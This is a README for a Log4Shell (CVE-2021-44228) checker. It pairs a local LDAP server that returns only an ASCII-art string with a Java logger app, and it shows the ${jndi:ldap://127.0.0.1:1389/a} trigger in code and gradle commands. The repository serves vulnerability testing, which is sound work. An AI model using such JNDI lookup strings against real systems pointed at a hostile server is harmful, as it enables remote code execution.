CVE-2021-44228
CVE-2021-44228 copied to clipboard
Vulnerability CVE-2021-44228 checker
CVE-2021-44228 checker
This is the repository for checking for vulnerability CVE-2021-44228.
This is a PoC that only displays strings without any external class loading. It cannot be used for arbitrary code execution.
How it works?
Step 1: Run the server application
The image ghcr.io/greymd/cve-2021-44228/server
is available and can be run on Docker.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
Step 2: Access the endpoint with log4j
Prepare the code to output logs using log4j and run it on the same host.
Make output string ${jndi:ldap://127.0.0.1:1389/a}
.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
If the argument is one that causes a vulnerability, the phrase 「うんこもりもり」(which means like "Lots of shit.") will be logged successfully.
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
If you are lazy to write and build your code, you can use a simple logger application in this repository. The first argument will be output by the Logger.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
An example of giving an argument that causes a vulnerability would be as follows.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
If you have a version of log4j that is NOT affected by the vulnerability, or the server application is not running, the string will be output as is without any modification. You can verify this by updating the version of the logger application as shown below.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
Run the server application without Docker
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
Motivation
As I mentioned (and as far as I investigate), this vulnerability will not be reproduced unless the destination server of JNDI is running. Therefore, a simple PoC is useful.
References
The following URLs were used for reference in the implementation.
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/mbechler/marshalsec
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://github.com/apache/logging-log4j2/pull/608
- https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept
Tested versions
-
OpenJDK Runtime Environment (build 1.8.0_302-b08)
-
OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
-
OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)